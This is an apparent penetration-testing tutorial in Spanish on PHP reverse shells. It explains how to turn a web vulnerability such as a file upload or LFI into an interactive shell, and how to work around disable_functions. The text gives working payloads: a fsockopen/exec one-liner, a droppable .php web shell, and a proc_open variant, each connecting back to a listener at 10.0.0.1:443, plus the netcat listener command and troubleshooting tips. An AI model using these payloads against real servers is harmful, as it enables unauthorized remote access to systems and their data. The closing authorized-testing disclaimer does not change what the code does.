Reverse shell en PHP: del one-liner a disable_functions
Cómo funciona un reverse shell en PHP sobre una aplicación web comprometida, las variantes con fsockopen y proc_open, y qué hacer cuando exec está deshabilitado.
Un reverse shell en PHP es a lo que recurres después de convertir una vulnerabilidad web —una subida de archivos sin restricciones, un LFI que alcanza los logs, un fallo de deserialización— en ejecución de código PHP. El servidor web ya está ejecutando PHP, así que un payload en PHP no necesita ningún intérprete adicional en la máquina. Aquí la fricción es distinta: está en la configuración endurecida de PHP, no en el lenguaje.
El one-liner básico
php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'
fsockopen abre una conexión TCP hacia tu listener y, convenientemente, el nuevo socket queda asignado al descriptor de archivo 3. El exec lanza entonces /bin/sh -i con stdin, stdout y stderr redirigidos todos al fd 3 (<&3 >&3 2>&3), de modo que la shell se comunica a través del socket. En el lado del listener, lo habitual: nc -lvnp 443.
Cuando has escrito un archivo en el servidor (el caso de la subida), la misma lógica va en un fichero .php que luego solicitas en el navegador:
<?php $sock=fsockopen("10.0.0.1",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
Visitar esa URL ejecuta el código con los permisos del usuario del servidor web.
El verdadero obstáculo: disable_functions
PHP en producción suele estar endurecido. A menudo php.ini configura disable_functions para bloquear exec, system, shell_exec, passthru, popen y proc_open. Si el one-liner no hace nada, normalmente es por esto. Comprueba qué hay disponible:
<?php echo ini_get("disable_functions"); ?>
Si exec está bloqueada pero proc_open ha sobrevivido, úsala:
<?php
$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open("/bin/sh -i",$d,$pipes);
$s=fsockopen("10.0.0.1",443);
// shuttle bytes between $s and the proc pipes...
?>
Cuando todas las funciones de ejecución de comandos están deshabilitadas, lanzar una shell queda descartado y debes pivotar hacia técnicas nativas de PHP —leer archivos, alcanzar servicios internos o abusar de una primitiva encadenada— en lugar de pelearte con la configuración. Saber qué funciones siguen disponibles determina todo el enfoque.
Se ejecuta como www-data, no como root
Un reverse shell en PHP te deja como el usuario del servidor web (www-data, apache, nginx), en una shell no interactiva y, con frecuencia, dentro de un contenedor. Ese es el punto de partida, no la meta:
- Mejora la TTY para obtener control de trabajos y que
sudofuncione; consulta mejorar un reverse shell. - Espera un contenedor. Las pilas web suelen estar contenerizadas; qué enumerar se cubre en reverse shells en contenedores.
Por qué el tuyo no conecta
disable_functionsbloquea tu función de exec: compruébala y cambia aproc_openu otro enfoque.- Comillas/escapado — los payloads PHP entregados a través de un parámetro de URL o JSON sufren doble escapado muy rápido; consulta escapado de payloads.
- Salida filtrada desde el servidor: prefiere
443/80. - Listener no coincidente — confírmalo con elegir un listener.
Consulta también por qué fallan los reverse shells.
Genera un payload PHP limpio
El generador de reverse shells produce el one-liner con fsockopen y las variantes en fichero con tu LHOST/LPORT ya colocados y el listener correspondiente al lado, de modo que lo único que queda por resolver es la configuración de PHP del objetivo, no la sintaxis del payload.
Solo pruebas autorizadas
Despliega reverse shells en PHP únicamente contra aplicaciones web de tu propiedad o que tengas autorización explícita para probar. La técnica es idéntica con independencia de la intención; es la autorización lo que la hace lícita.